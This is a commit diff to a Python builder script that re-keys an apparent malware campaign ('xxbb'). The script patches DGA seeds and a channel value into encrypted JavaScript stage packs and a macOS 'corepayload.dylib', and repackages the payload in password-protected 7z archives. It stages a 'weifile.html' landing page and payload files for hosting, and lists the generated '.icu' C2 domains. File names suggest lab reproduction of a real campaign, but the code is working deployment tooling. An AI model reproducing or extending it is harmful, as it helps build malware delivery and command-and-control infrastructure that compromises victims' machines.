feat: xxbb
This commit is contained in:
@@ -1,9 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
|
||||
|
||||
Per-channel landing:
|
||||
{artifact-root}/source/{channel_name}/index.html
|
||||
Shared details stay at {artifact-root}/details/.
|
||||
Artifact layout (shared, not per-channel folders):
|
||||
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
|
||||
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
|
||||
|
||||
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
||||
1. both --deployment-seed and --reporting-seed
|
||||
@@ -22,6 +22,7 @@ import shutil
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
from reproduce_xxbb_dga import generate_domains
|
||||
|
||||
@@ -37,8 +38,14 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||||
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
|
||||
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||||
CHANNEL_ROOT = "source"
|
||||
LANDING_NAME = "index.html"
|
||||
WEIFILE_ROOT = "weifile"
|
||||
DETAILS_ROOT = "details"
|
||||
LANDING_NAME = "weifile.html"
|
||||
CORE_WIRE_NAME = "corepayload.js"
|
||||
CORE_MEMBER_NAME = "corepayload.dylib"
|
||||
SHOW_WIRE_NAME = "show.html"
|
||||
SHOW_MEMBER_NAME = "data.bin"
|
||||
CORE_C_EXPECT = 6
|
||||
DGA_COUNT = 5
|
||||
|
||||
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
|
||||
@@ -231,6 +238,73 @@ def patch_dylib(
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes:
|
||||
"""Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field)."""
|
||||
buf = bytearray(data)
|
||||
replace_slot(
|
||||
buf,
|
||||
ORIGINAL_C.encode("ascii"),
|
||||
pack_ascii32("--channel-c", channel_c),
|
||||
label=label,
|
||||
expect=CORE_C_EXPECT,
|
||||
)
|
||||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||||
raise SystemExit(f"{label}: original c still present")
|
||||
if channel_c.encode("ascii") not in buf:
|
||||
raise SystemExit(f"{label}: patched channel_c missing")
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes:
|
||||
doc = json.loads(config_bytes.decode("utf-8"))
|
||||
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
|
||||
raise SystemExit("show data.bin: missing core object")
|
||||
core = doc["core"]
|
||||
core["sha256"] = core_sha256
|
||||
core["size"] = core_size
|
||||
# Keep compact JSON (no spaces) to stay close to campaign wire shape.
|
||||
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
|
||||
|
||||
|
||||
def build_details(
|
||||
*,
|
||||
channel_c: str,
|
||||
out_dir: Path,
|
||||
) -> dict:
|
||||
"""Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires."""
|
||||
src_core = SOURCE_DETAILS / CORE_WIRE_NAME
|
||||
src_show = SOURCE_DETAILS / SHOW_WIRE_NAME
|
||||
if not src_core.is_file() or not src_show.is_file():
|
||||
raise SystemExit(f"missing details templates under {SOURCE_DETAILS}")
|
||||
|
||||
member, core_plain = extract_member(src_core.read_bytes())
|
||||
if member != CORE_MEMBER_NAME:
|
||||
raise SystemExit(f"unexpected core member name: {member!r}")
|
||||
patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME)
|
||||
core_digest = sha256_hex(patched_core)
|
||||
core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core)
|
||||
|
||||
show_member, show_plain = extract_member(src_show.read_bytes())
|
||||
if show_member != SHOW_MEMBER_NAME:
|
||||
raise SystemExit(f"unexpected show member name: {show_member!r}")
|
||||
show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core))
|
||||
show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated)
|
||||
|
||||
wires = out_dir / "details_wires"
|
||||
wires.mkdir(parents=True, exist_ok=True)
|
||||
(wires / CORE_WIRE_NAME).write_bytes(core_wire)
|
||||
(wires / SHOW_WIRE_NAME).write_bytes(show_wire)
|
||||
(out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core)
|
||||
|
||||
return {
|
||||
"core_sha256": core_digest,
|
||||
"core_size": len(patched_core),
|
||||
"core_wire_size": len(core_wire),
|
||||
"show_wire_size": len(show_wire),
|
||||
"core_c_hits": patched_core.count(channel_c.encode("ascii")),
|
||||
}
|
||||
|
||||
|
||||
def copy_tree(src: Path, dst: Path) -> None:
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
@@ -397,7 +471,7 @@ def default_state_root() -> Path:
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
|
||||
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
||||
@@ -407,13 +481,13 @@ def main() -> int:
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-name",
|
||||
help="per-channel folder + html name; required with --apply",
|
||||
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
default=PROJECT_ROOT / "public",
|
||||
help="directory that will contain {channel_name}/ and details/",
|
||||
help="directory that will contain weifile/ and details/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
@@ -429,12 +503,12 @@ def main() -> int:
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
|
||||
help="write shared {artifact}/weifile/ and {artifact}/details/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force",
|
||||
action="store_true",
|
||||
help="replace an existing {channel_name}/ directory",
|
||||
help="replace existing weifile/ and details/ (default with --apply)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scheme",
|
||||
@@ -453,11 +527,9 @@ def main() -> int:
|
||||
cli_c=args.channel_c,
|
||||
)
|
||||
|
||||
channel_name = ""
|
||||
# Optional legacy flag; shared layout no longer uses per-channel folders.
|
||||
if args.channel_name:
|
||||
channel_name = validate_channel_name(args.channel_name)
|
||||
elif args.apply:
|
||||
raise SystemExit("--channel-name is required with --apply")
|
||||
validate_channel_name(args.channel_name)
|
||||
|
||||
meta = load_keys()
|
||||
stems = meta["stems"]
|
||||
@@ -499,33 +571,38 @@ def main() -> int:
|
||||
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
|
||||
print(f" wrote {dest.name} ({len(wire)} bytes)")
|
||||
|
||||
details_meta = build_details(channel_c=channel_c, out_dir=out)
|
||||
print(
|
||||
f"corepayload: patched c hits={details_meta['core_c_hits']} "
|
||||
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
|
||||
)
|
||||
|
||||
weifile_path = ""
|
||||
details_path = ""
|
||||
if args.apply:
|
||||
artifact = args.artifact_root.resolve()
|
||||
dest_channel = artifact / CHANNEL_ROOT / channel_name
|
||||
dest_details = artifact / "details"
|
||||
if dest_channel.exists() and not args.force:
|
||||
raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
|
||||
dest_weifile = artifact / WEIFILE_ROOT
|
||||
dest_details = artifact / DETAILS_ROOT
|
||||
# Shared trees are always replaced on --apply.
|
||||
if not SOURCE_WEIFILE.is_dir():
|
||||
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
||||
if not SOURCE_DETAILS.is_dir():
|
||||
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
||||
copy_tree(SOURCE_WEIFILE, dest_channel)
|
||||
landing = dest_channel / LANDING_NAME
|
||||
src_html = dest_channel / "weifile.html"
|
||||
if not src_html.is_file():
|
||||
raise SystemExit(f"missing weifile.html in template copy: {src_html}")
|
||||
shutil.copy2(src_html, landing)
|
||||
copy_tree(SOURCE_WEIFILE, dest_weifile)
|
||||
if not (dest_weifile / LANDING_NAME).is_file():
|
||||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||||
copy_tree(SOURCE_DETAILS, dest_details)
|
||||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||||
for item in built:
|
||||
src = out / f"{item['stem']}.min.js"
|
||||
dst = dest_channel / src.name
|
||||
dst = dest_weifile / src.name
|
||||
shutil.copy2(src, dst)
|
||||
print(f"applied -> {dst}")
|
||||
print(f"applied weifile -> {dest_weifile}")
|
||||
print(f"applied details -> {dest_details}")
|
||||
weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
|
||||
details_path = "/details/"
|
||||
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
|
||||
details_path = f"/{DETAILS_ROOT}/"
|
||||
|
||||
print("deployment domains:")
|
||||
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
||||
@@ -537,12 +614,12 @@ def main() -> int:
|
||||
result = {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_name": channel_name or None,
|
||||
"channel_name": None,
|
||||
"weifile_path": weifile_path or None,
|
||||
"support_path": weifile_path or None,
|
||||
"details_path": details_path or None,
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": False,
|
||||
"sync_rebuilt": bool(args.apply),
|
||||
"domains": domains,
|
||||
"seeds": {
|
||||
"deployment_seed": dep,
|
||||
@@ -552,9 +629,11 @@ def main() -> int:
|
||||
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
||||
"files": built,
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
"details": details_meta,
|
||||
"scheme": args.scheme,
|
||||
"notes": [
|
||||
"details/core not patched; native /event c still original until a later pass",
|
||||
"secondary + corepayload c patched; domains follow channel_c DGA",
|
||||
"shared artifact paths: /weifile/weifile.html and /details/",
|
||||
"index.js iptj URL / channelCode not patched",
|
||||
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
||||
f"native DGA/C2 scheme={args.scheme}",
|
||||
|
||||
Reference in New Issue
Block a user